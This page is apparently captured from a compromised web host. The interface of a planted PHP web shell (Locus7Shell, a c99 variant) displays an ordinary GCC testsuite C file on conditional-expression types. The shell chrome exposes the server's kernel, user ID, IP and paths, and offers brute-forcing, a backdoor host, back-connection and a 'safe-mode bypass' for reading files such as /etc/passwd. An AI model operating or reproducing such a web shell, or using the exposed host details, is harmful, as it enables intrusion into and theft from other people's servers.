Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     c99-condexpr-1.c (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test for types of conditional expressions.  */
/* Origin: Joseph Myers <jsm28@cam.ac.uk> */
/* { dg-do compile } */
/* { dg-options "-std=iso9899:1999 -pedantic-errors" } */

/* Notes:

   (a) The rules are the same in both C standard versions, but C99 also
   gives us the "restrict" qualifier to play with.

   (b) Within the C standard, the value of a conditional expression can't
   have qualified type - but nor can this be detected.  Because of GCC's
   extended lvalues, the value may in GCC have qualified type if the
   arguments do.  So don't use the following macro with arguments of
   qualified type.

*/

/* Assertion that the type of a conditional expression between E1 and E2
   is T.  Checks the expression both ways round.  */
#define ASSERT_COND_TYPE(E1, E2, T)            \
    do {                        \
      typedef T type;                \
      typedef type **typepp;            \
      typedef __typeof(0 ? (E1) : (E2)) ctype;    \
      typedef __typeof(0 ? (E2) : (E1)) ctype2;    \
      typedef ctype **ctypepp;            \
      typedef ctype2 **ctype2pp;            \
      typepp x = 0;                    \
      ctypepp y = 0;                \
      ctype2pp z = 0;                \
      x = y;                    \
      x = z;                    \
    } while (0)

void
foo (void)
{
  const void *c_vp;
  void *vp;
  const int *c_ip;
  volatile int *v_ip;
  int *ip;
  const char *c_cp;
  int *restrict *r_ipp;
  typedef void (*fpt)(void);
  fpt fp;
  signed char sc;
  struct s { int p; } st;
  union u { int p; } un;
  /* Arithmetic type.  */
  ASSERT_COND_TYPE (sc, sc, int);
  /* Structure and union.  */
  ASSERT_COND_TYPE (st, st, struct s);
  ASSERT_COND_TYPE (un, un, union u);
  /* Void.  */
  ASSERT_COND_TYPE ((void)0, (void)1, void);
  /* Pointers: examples from 6.5.15 paragraph 8.  */
  ASSERT_COND_TYPE (c_vp, c_ip, const void *);
  ASSERT_COND_TYPE (v_ip, 0, volatile int *);
  ASSERT_COND_TYPE (c_ip, v_ip, const volatile int *);
  ASSERT_COND_TYPE (vp, c_cp, const void *);
  ASSERT_COND_TYPE (ip, c_ip, const int *);
  ASSERT_COND_TYPE (vp, ip, void *);
  /* Null pointer constants.  */
  ASSERT_COND_TYPE (v_ip, (void *)0, volatile int *);
  ASSERT_COND_TYPE (r_ipp, (void *)0, int *restrict *);
  ASSERT_COND_TYPE (fp, 0, fpt);
  ASSERT_COND_TYPE (fp, (void *)0, fpt);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0064 ]--